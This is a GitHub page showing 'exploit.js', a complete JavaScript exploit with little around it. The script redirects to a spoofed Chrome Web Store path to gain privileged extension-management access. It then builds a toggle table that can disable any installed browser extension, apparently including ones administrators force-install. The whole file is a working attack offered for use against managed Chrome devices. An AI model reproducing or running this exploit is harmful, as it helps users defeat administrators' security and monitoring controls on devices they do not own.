-
Notifications
You must be signed in to change notification settings - Fork 404
/
exploit.js
96 lines (91 loc) · 2.23 KB
/
exploit.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
if (location.host != "chrome.google.com" || !location.pathname.startsWith("/webstork")) {
location.href = "https://chrome.google.com/webstork" + performance.now().toString(16).slice(1);
}
const style = document.createElement("style");
document.head.replaceChildren(style);
style.innerText = `
body {
margin: 0;
background-color:#121212;
}
table {
width: 100%;
}
tr:nth-child(even) {
background-color: #2d2d2d;
}
tr:hover {
background-color: #ddd;
}
td {
text-align: center;
border: 1px solid #352e3f;
padding: 8px;
font-family: Arial, Helvetica, sans-serif;
border-collapse: collapse;
background-color: #1f1f1f;
color: white;
}
label {
position: relative;
display: inline-block;
width: 40px;
height: 23px;
}
input {
opacity: 0;
width: 0;
height: 0;
}
span {
position: absolute;
cursor: pointer;
top: 0;
left: 0;
right: 0;
bottom: 0;
background-color: #8c8c8c;
transition: .4s;
border-radius: 23px;
}
span:before {
position: absolute;
content: "";
height: 17px;
width: 17px;
left: 3px;
bottom: 3px;
background-color: #1e1e1e;
transition: .4s;
border-radius: 50%;
}
input:checked + span {
background-color: #bb86fc;
}
input:focus + span {
box-shadow: 0 0 1px #2196F3;
}
input:checked + span:before {
transform: translateX(17px);
}
`;
chrome.management.getAll(extensions => {
const table = document.createElement("table");
for (const {id, enabled, name, installType} of extensions) {
const row = table.appendChild(document.createElement("tr"));
const label = row
.appendChild(document.createElement("td"))
.appendChild(document.createElement("label"));
const input = label.appendChild(document.createElement("input"));
input.type = "checkbox";
input.checked = enabled;
input.addEventListener("change", () => {
chrome.management.setEnabled(id, input.checked);
});
label.appendChild(document.createElement("span"));
row.appendChild(document.createElement("td")).innerText = name;
row.appendChild(document.createElement("td")).innerText = id;
row.appendChild(document.createElement("td")).innerText = installType;
}
document.body.replaceChildren(table);
});